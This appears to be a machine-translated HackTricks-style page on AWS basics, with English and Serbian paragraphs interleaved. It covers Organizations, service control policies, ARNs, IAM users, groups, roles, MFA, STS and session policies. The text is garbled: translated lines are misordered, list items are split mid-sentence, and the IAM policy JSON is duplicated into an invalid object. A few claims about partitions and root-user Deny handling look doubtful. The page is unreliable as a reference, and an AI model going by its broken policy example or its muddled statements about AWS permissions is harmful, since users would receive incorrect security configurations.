In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
U AWS-u postoji **root račun**, koji je **glavni kontejner za sve račune** vaše **organizacije**. Međutim, ne morate koristiti taj račun za implementaciju resursa, možete kreirati **druge račune kako biste odvojili različite AWS** infrastrukture između njih.
|
||||
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
To je veoma zanimljivo sa **bezbednosnog** stanovišta, jer **jedan račun neće moći da pristupi resursima drugog računa** (osim ako su mostovi posebno kreirani), tako da na ovaj način možete postaviti granice između implementacija.
|
||||
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
Stoga, postoje **dva tipa računa u organizaciji** (govorimo o AWS računima, a ne o korisničkim računima): jedan jedini račun koji je označen kao račun za upravljanje, i jedan ili više članova računa.
|
||||
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
- **Račun za upravljanje (root račun)** je račun koji koristite za kreiranje organizacije. Iz računa za upravljanje organizacijom, možete uraditi sledeće:
|
||||
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
- Kreirati račune u organizaciji
|
||||
- Pozvati druge postojeće račune u organizaciju
|
||||
- Ukloniti račune iz organizacije
|
||||
- Upravljati pozivnicama
|
||||
- Primeni politike na entitete (root, OU ili račune) unutar organizacije
|
||||
- Omogućiti integraciju sa podržanim AWS uslugama kako bi se obezbedila funkcionalnost usluga širom svih računa u organizaciji.
|
||||
- Moguće je prijaviti se kao root korisnik koristeći email i lozinku korišćene za kreiranje ovog root računa/organizacije.
|
||||
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
Račun za upravljanje ima **odgovornosti računa za plaćanje** i odgovoran je za plaćanje svih troškova koje generišu članovi računi. Ne možete promeniti račun za upravljanje organizacijom.
|
||||
|
||||
- **Članovi računi** čine sve ostale račune u organizaciji. Račun može biti član samo jedne organizacije u isto vreme. Možete prikačiti politiku na račun kako biste primenili kontrole samo na taj jedan račun.
|
||||
- Članovi računi **moraju koristiti važeću email adresu** i mogu imati **ime**, generalno neće moći da upravljaju naplatom (ali im može biti dat pristup tome).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **Organizacione jedinice**
|
||||
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
Računi se mogu grupisati u **organizacione jedinice (OU)**. Na ovaj način, možete kreirati **politike** za organizacionu jedinicu koje će biti **primenjene na sve podračune**. Imajte na umu da OU može imati druge OU kao decu.
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
**Politika kontrole usluga (SCP)** je politika koja specificira usluge i akcije koje korisnici i uloge mogu koristiti u nalozima na koje SCP utiče. SCP-ovi su **slični IAM** politikama dozvola osim što **ne dodeljuju nikakve dozvole**. Umesto toga, SCP-ovi specificiraju **maksimalne dozvole** za organizaciju, organizacionu jedinicu (OU) ili nalog. Kada prikačite SCP na koren vaše organizacije ili na OU, **SCP ograničava dozvole za entitete u članicama naloga**.
|
||||
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
Ovo je JEDINI način na koji **čak i korisnik sa root privilegijama može biti sprečen** da uradi nešto. Na primer, može se koristiti da se spreči korisnike da onemoguće CloudTrail ili obrišu rezervne kopije.\
|
||||
Jedini način da se to zaobiđe je da se kompromituje i **glavni nalog** koji konfiguriše SCP-ove (glavni nalog ne može biti blokiran).
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
> Imajte na umu da **SCP-ovi samo ograničavaju principe u nalogu**, tako da drugi nalozi nisu pogođeni. To znači da imati SCP koji odbija `s3:GetObject` neće sprečiti ljude da **pristupaju javnom S3 bucket-u** u vašem nalogu.
|
||||
|
||||
SCP examples:
|
||||
Primeri SCP-a:
|
||||
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
- Odbijanje glavnog naloga u potpunosti
|
||||
- Dozvoliti samo specifične regione
|
||||
- Dozvoliti samo usluge sa bele liste
|
||||
- Odbijanje GuardDuty, CloudTrail i S3 javnog blokiranja pristupa od
|
||||
|
||||
being disabled
|
||||
biti onemogućeni
|
||||
|
||||
- Deny security/incident response roles from being deleted or
|
||||
- Odbijanje uloga za bezbednost/odgovor na incidente od
|
||||
|
||||
modified.
|
||||
biti obrisane ili
|
||||
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
modifikovane.
|
||||
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
- Odbijanje brisanja rezervnih kopija.
|
||||
- Odbijanje kreiranja IAM korisnika i pristupnih ključeva
|
||||
|
||||
Pronađite **JSON primere** u [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
**Amazon Resource Name** je **jedinstveno ime** koje svaki resurs unutar AWS-a ima, sastoji se ovako:
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
Napomena da postoje 4 particije u AWS-u, ali samo 3 načina da ih pozovete:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
- AWS US public Internet (GovCloud): `aws-us-gov`
|
||||
- AWS US javni Internet (GovCloud): `aws-us-gov`
|
||||
- AWS Secret (US Classified): `aws`
|
||||
|
||||
## IAM - Identity and Access Management
|
||||
## IAM - Upravljanje identitetom i pristupom
|
||||
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
IAM je usluga koja će vam omogućiti da upravljate **autentifikacijom**, **autorizacijom** i **kontrolom pristupa** unutar vašeg AWS naloga.
|
||||
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
- **Autentifikacija** - Proces definisanja identiteta i verifikacije tog identiteta. Ovaj proces se može podeliti na: Identifikaciju i verifikaciju.
|
||||
- **Autorizacija** - Određuje šta identitet može da pristupi unutar sistema nakon što je autentifikovan.
|
||||
- **Kontrola pristupa** - Metod i proces kako se pristup dodeljuje sigurnom resursu.
|
||||
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
IAM se može definisati po svojoj sposobnosti da upravlja, kontroliše i reguliše mehanizme autentifikacije, autorizacije i kontrole pristupa identiteta vašim resursima unutar vašeg AWS naloga.
|
||||
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
### [AWS nalog root korisnika](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim identitetom za prijavu koji ima **potpun pristup svim** AWS uslugama i resursima u nalogu. Ovo je _**root korisnik**_ AWS naloga i pristupa mu se prijavom sa **email adresom i lozinkom koje ste koristili za kreiranje naloga**.
|
||||
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
Napomena da novi **admin korisnik** ima **manje dozvole od root korisnika**.
|
||||
|
||||
From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
Sa bezbednosnog stanovišta, preporučuje se kreiranje drugih korisnika i izbegavanje korišćenja ovog.
|
||||
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
### [IAM korisnici](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
IAM _korisnik_ je entitet koji kreirate u AWS-u da **predstavlja osobu ili aplikaciju** koja ga koristi za **interakciju sa AWS-om**. Korisnik u AWS-u se sastoji od imena i akreditiva (lozinka i do dva pristupna ključa).
|
||||
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
Kada kreirate IAM korisnika, dodeljujete mu **dozvole** tako što ga činite **članom korisničke grupe** koja ima odgovarajuće politike dozvola (preporučeno), ili **direktno povezivanjem politika** sa korisnikom.
|
||||
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Korisnici mogu imati **omogućen MFA za prijavu** putem konzole. API tokeni korisnika sa omogućenim MFA nisu zaštićeni MFA. Ako želite da **ograničite pristup API ključevima korisnika koristeći MFA**, morate naznačiti u politici da je za izvršavanje određenih radnji MFA potrebno (primer [**ovde**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
- **ID pristupnog ključa**: 20 nasumičnih velikih alfanumeričkih karaktera kao što su AKHDNAPO86BSHKDIRYT
|
||||
- **ID tajnog pristupnog ključa**: 40 nasumičnih velikih i malih karaktera: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nije moguće povratiti izgubljene ID-ove tajnog pristupnog ključa).
|
||||
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
Kad god trebate da **promenite pristupni ključ**, ovo je proces koji treba da pratite:\
|
||||
&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
|
||||
### MFA - Multi Factor Authentication
|
||||
### MFA - Višefaktorska autentifikacija
|
||||
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
Koristi se za **kreiranje dodatnog faktora za autentifikaciju** pored vaših postojećih metoda, kao što je lozinka, čime se stvara višefaktorski nivo autentifikacije.\
|
||||
Možete koristiti **besplatnu virtuelnu aplikaciju ili fizički uređaj**. Možete koristiti aplikacije poput Google autentifikacije besplatno za aktivaciju MFA u AWS-u.
|
||||
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
Politike sa MFA uslovima mogu se povezati sa sledećim:
|
||||
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
- IAM korisnikom ili grupom
|
||||
- Resursom kao što je Amazon S3 bucket, Amazon SQS queue ili Amazon SNS topic
|
||||
- Politika poverenja IAM uloge koju može preuzeti korisnik
|
||||
|
||||
Ako želite da **pristupite putem CLI** resursu koji **proverava MFA**, morate pozvati **`GetSessionToken`**. To će vam dati token sa informacijama o MFA.\
|
||||
Napomena da **`AssumeRole` akreditivi ne sadrže ove informacije**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), postoje mnogi različiti slučajevi gde **MFA ne može biti korišćen**.
|
||||
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
### [IAM korisničke grupe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
IAM [korisnička grupa](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) je način da se **prikače politike više korisnika** u isto vreme, što može olakšati upravljanje dozvolama za te korisnike. **Uloge i grupe ne mogu biti deo grupe**.
|
||||
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
Možete prikačiti **politiku zasnovanu na identitetu korisničkoj grupi** tako da svi **korisnici** u korisničkoj grupi **dobiju dozvole politike**. **Ne možete** identifikovati **korisničku grupu** kao **`Principal`** u **politici** (kao što je politika zasnovana na resursima) jer se grupe odnose na dozvole, a ne na autentifikaciju, a principi su autentifikovani IAM entiteti.
|
||||
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
Evo nekih važnih karakteristika korisničkih grupa:
|
||||
|
||||
Here are some important characteristics of user groups:
|
||||
- **Korisnička grupa** može **sadržati mnogo korisnika**, a **korisnik** može **pripadati više grupa**.
|
||||
- **Korisničke grupe ne mogu biti ugnježdene**; mogu sadržati samo korisnike, ne i druge korisničke grupe.
|
||||
- Ne postoji **podrazumevana korisnička grupa koja automatski uključuje sve korisnike u AWS nalogu**. Ako želite da imate takvu korisničku grupu, morate je kreirati i dodeliti svakom novom korisniku.
|
||||
- Broj i veličina IAM resursa u AWS nalogu, kao što su broj grupa i broj grupa kojima korisnik može biti član, su ograničeni. Za više informacija, pogledajte [IAM i AWS STS kvote](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
### [IAM uloge](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
IAM **uloga** je vrlo **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a.
|
||||
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
IAM uloga se sastoji od **dvaju tipova politika**: **politika poverenja**, koja ne može biti prazna, definišući **ko može preuzeti** ulogu, i **politika dozvola**, koja ne može biti prazna, definišući **šta može pristupiti**.
|
||||
|
||||
#### AWS Security Token Service (STS)
|
||||
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privremenih, ograničenih akreditiva**. Specijalno je prilagođen za:
|
||||
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
### [Privremeni akreditivi u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola od vašeg standardnog IAM korisnika. Ovo **sprečava** vas od **slučajnog obavljanja zadataka koji nisu dozvoljeni** sa ograničenim akreditivima. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni.
|
||||
|
||||
### Policies
|
||||
### Politike
|
||||
|
||||
#### Policy Permissions
|
||||
#### Dozvole politike
|
||||
|
||||
Are used to assign permissions. There are 2 types:
|
||||
Koriste se za dodeljivanje dozvola. Postoje 2 tipa:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
- AWS upravljane politike (prekonfigurisane od strane AWS-a)
|
||||
- Politike koje upravlja korisnik: Konfigurišete ih vi. Možete kreirati politike zasnovane na AWS upravljanim politikama (modifikujući jednu od njih i kreirajući svoju), koristeći generator politika (GUI prikaz koji vam pomaže u dodeljivanju i odbijanju dozvola) ili pišući svoje.
|
||||
|
||||
Po **podrazumevanju, pristup** je **odbijen**, pristup će biti odobren ako je eksplicitna uloga navedena.\
|
||||
Ako **jedna "Odbij" postoji, ona će nadjačati "Dozvoli"**, osim za zahteve koji koriste korenske bezbednosne akreditive AWS naloga (koji su podrazumevano dozvoljeni).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
#### Inline Policies
|
||||
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika kao što to može biti slučaj sa bilo kojom drugom.\
|
||||
Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onog za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta.
|
||||
|
||||
#### Resource Bucket Policies
|
||||
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
Ovo su **politike** koje se mogu definisati u **resursima**. **Nisu svi resursi AWS-a podržavaju njih**.
|
||||
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im omogućava pristup, tada su dozvoljeni.
|
||||
|
||||
### IAM Boundaries
|
||||
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
IAM granice se mogu koristiti za **ograničavanje dozvola kojima korisnik ili uloga treba da imaju pristup**. Na ovaj način, čak i ako se korisniku dodeli drugačiji skup dozvola putem **druge politike**, operacija će **neuspeti** ako pokuša da ih koristi.
|
||||
|
||||
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
Granica je samo politika koja je povezana sa korisnikom i **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi.
|
||||
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
**Ovo**, **SCPs** i **pridržavanje principa minimalnih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno.
|
||||
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
Politika sesije je **politika postavljena kada se uloga preuzima** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima).
|
||||
|
||||
Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, mogao bi da ograniči dozvolu samo na one koje su navedene u politici sesije u slučaju da sesija bude kompromitovana.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Napomena da po defaultu **AWS može dodati politike sesije sesijama** koje će biti generisane zbog trećih razloga. Na primer, u [neautentifikovanim cognito pretpostavljenim rolama](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) po defaultu (koristeći poboljšanu autentifikaciju), AWS će generisati **akreditiv sesije sa politikom sesije** koja ograničava usluge kojima sesija može pristupiti [**na sledeću listu**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Stoga, ako se u nekom trenutku suočite sa greškom "... jer nijedna politika sesije ne dozvoljava ...", a uloga ima pristup za izvršenje akcije, to je zato što **postoji politika sesije koja to sprečava**.
|
||||
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
### Identitetna federacija
|
||||
|
||||
### Identity Federation
|
||||
Identitetna federacija **omogućava korisnicima iz identitetskih provajdera koji su eksterni** za AWS da sigurno pristupaju AWS resursima bez potrebe da dostavljaju AWS korisničke akreditive iz važećeg IAM korisničkog naloga.\
|
||||
Primer identitetskog provajdera može biti vaša vlastita korporativna **Microsoft Active Directory** (putem **SAML**) ili **OpenID** usluga (kao što je **Google**). Federisani pristup će tada omogućiti korisnicima unutar njega da pristupaju AWS-u.
|
||||
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
Da biste konfigurisali ovo poverenje, generiše se **IAM identitetski provajder (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujuća) identitetskom provajderu**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga.
|
||||
|
||||
